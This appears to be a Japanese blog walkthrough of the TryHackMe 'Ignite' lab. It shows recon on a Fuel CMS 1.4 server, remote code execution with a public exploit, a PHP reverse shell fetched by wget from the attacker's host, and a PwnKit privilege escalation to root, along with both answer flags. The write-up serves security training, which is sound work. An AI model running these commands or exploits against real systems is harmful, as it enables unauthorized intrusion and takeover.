0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

TryHackMe「Ignite」のWalkthroughです。

Task1

Q1.User.txt

nmapでポートスキャンを実行します。

$ nmap -Pn -sC -A -T4 -sV 10.10.153.184
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 14:21 EDT
Nmap scan report for 10.10.153.184
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE    SERVICE VERSION
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
15742/tcp filtered unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.40 seconds

http:80のポートがオープンだとわかりました。

隠しディレクトリを列挙します。

$ gobuster dir -u http://10.10.153.184 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
/home                 (Status: 200) [Size: 16597]
/index                (Status: 200) [Size: 16597]
/0                    (Status: 200) [Size: 16597]
/assets               (Status: 301) [Size: 315] [--> http://10.10.153.184/assets/]
/offline              (Status: 200) [Size: 70]
/fuel                 (Status: 301) [Size: 313] [--> http://10.10.153.184/fuel/]

Webサイトにアクセスすると、Fuel CMS 1.4を使用していると分かりました。

home page.png

GitHubも見つかりました。

robots.txtでも/fuel/のパスを見つけました。

robots.png

アクセスするとログインフォームにリダイレクトされました。

login.png

インデックスページの下部にクレデンシャル情報を発見しました。

admin info.png

先ほどのログインページに入力するとログインできました。

dashboard.png

リバースシェルコードのアップロードを試みましたが、出来ませんでした。

file upload failed.png

エクスプロイトコードを検索します。

$ searchsploit fuel cms 1.4
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
fuel CMS 1.4.1 - Remote Code Execution (1)                                         | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)                                         | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3)                                         | php/webapps/50477.py
Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated)                        | php/webapps/50523.txt
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)                               | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)                   | php/webapps/48778.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Fuel CMS 1.4.1 - Remote Code Execution (3)を使用してRCEを成功させました。

$ python /usr/share/exploitdb/exploits/php/webapps/50477.py -u http://10.10.153.184
[+]Connecting...
Enter Command $whoami
systemwww-data

ユーザーフラグゲットです。

$cat /home/www-data/flag.txt
system6470e394cbf6dab6a91682cc8585059b

A.6470e394cbf6dab6a91682cc8585059b

Q2.Root.txt

Netcatなどでリバースシェルを試みましたが成功しませんでした。
なので、リバースシェルファイルをアップロードしての接続を試みました。
リバースシェルファイルがあるディレクトリでHTTPサーバーを立てます。

$ python -m http.server 8000

ターゲットマシンからアクセスさせリバースシェルファイルを/var/www/html配下に置きます。

$ wget http://10.6.55.144:8000/php-reverse-shell.php

Netcatでリッスンします。

$ nc -lvnp 1234

http://<target ip>/php-reverse-shell.phpにアクセスするとNetcatで接続できました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.153.184] 59842
Linux ubuntu 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 12:54:28 up  1:33,  0 users,  load average: 10.23, 9.99, 9.89
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

TTYに接続します。

python -c 'import pty; pty.spawn("/bin/sh")'

sudo -lで権限昇格に繋がりそうなプログラムを探そうとしましたが、パスワードがかかっていました。

$ sudo -l
sudo -l
[sudo] password for www-data:

SUIDビットが設定されたプログラムの検索をします。

$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
/usr/sbin/pppd
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/vmware-user-suid-wrapper
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/passwd
/bin/su
/bin/ping6
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/umount
/bin/fusermount

この時点では権限昇格の手がかりを見つけられませんでした。

linpeasを使って権限昇格の手掛かりを探します。
KaliでWebサーバーを立てターゲットマシンからダウンロードします。

  • Kali
$ python -m http.server 8000
  • Target
$ wget http://10.6.55.144:8000/linpeas.sh

linpeasを実行します。

$ chmod +x linpeas.sh
$ /bin/sh linpeas.sh

sudoのバージョンが分かったのエクスプロイトコードを探して実行しましたが、刺さりませんでした。

Sudo version 1.8.16

PwnKitという脆弱性情報を見つけました。

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

Kali側にPwnKitのエクスプロイトコードを用意します。

$ git clone https://github.com/ly4k/PwnKit.git

再度Kali側でHTTPサーバーを立ててターゲットマシンからPwnKitをダウンロードします。

  • Kali
$ python -m http.server 8000
  • Target
$ wget -r http://10.6.55.144:8000/PwnKit/

PwnKitで特権ユーザーのシェル獲得を試みます。

$ chmod +x ./PwnKit
chmod +x ./PwnKit
$ ./PwnKit '/bin/sh -i'

成功しました。

$ ./PwnKit '/bin/sh -i'
./PwnKit '/bin/sh -i'
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

/root/root.txtファイルのフラグを取得してルームクリアです。

# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 34 Jul 26  2019 root.txt
# cat /root/root.txt
cat /root/root.txt
b9bbcb33e11b80be759c4e844862482d

A.b9bbcb33e11b80be759c4e844862482d

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?